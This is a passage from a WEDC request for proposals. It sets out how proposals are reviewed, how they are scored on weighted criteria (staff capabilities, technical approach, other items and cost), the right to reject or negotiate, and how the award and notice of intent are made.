201 West Washington Avenue, 6th Floor
Madison, WI 53703
VIII.

Evaluation of RFP
a. Proposal Review, Verification, and Acceptance
WEDC shall review each proposal to verify that it meets all specified requirements in the RFP.
Proposals that do not comply with instructions contained in the RFP may be rejected by WEDC.
WEDC reserves the right to waive a particular specification if no proposer meets that
specification. WEDC may request reports on the proposer's financial stability. WEDC may
reject a proposal if the proposer is determined to have inadequate financial means to provide
the required service. WEDC retains the right to accept or reject any or all proposals, or accept
or reject any part of a proposal, determined to be in the best interest of WEDC. WEDC shall
be the sole judge as to compliance with the instructions contained in this RFP. Proposals shall
be firm for acceptance for sixty (60) days from date of proposal opening unless otherwise noted.
A proposer may not modify its proposal after submission except to correct minor omissions or
miscalculations as directed in writing by WEDC.
b. Evaluation Criteria
Proposals will be reviewed by an evaluation committee and/or WEDC’s Contracts
Committee. The committee(s) may review references, require oral interviews/presentations
and use the results in its review.
Page 7 of 8

Mandatory requirements must be met in order for a proposal to be considered for award under
this RFP. Evaluation of the proposals will be based on the proposer’s relevant experience
providing like services, the quality of the team dedicated to this project, the proposer’s
approach to the project and project timeline, and proposed fees.

Technical Criteria
1.
2.
3.
4.

Organizational and Staff Capabilities
Technical Requirements/Approach to the Project
Other Items
Cost of Service

Available
Points
30
35
10
25

c. Right to Reject Proposals and Negotiate with Proposers
WEDC reserves the right to reject any and all proposals. WEDC may enter into negotiations
with multiple vendors regarding the terms of the contract and the cost proposal before
determining the highest scoring proposer. WEDC shall not, under any circumstances, reveal a
proposer’s cost proposal to any other proposer prior to contracting for services.
d. Award Decision
WEDC will make the award to the proposer deemed to provide the services described in this
RFP at the best value to WEDC, taking into consideration the proposers' experience, expertise,
and cost proposals.
e. Notice of Intent to Award
All proposers who respond to this RFP will be notified in writing of WEDC's intent to award
the contract as a result of this RFP.
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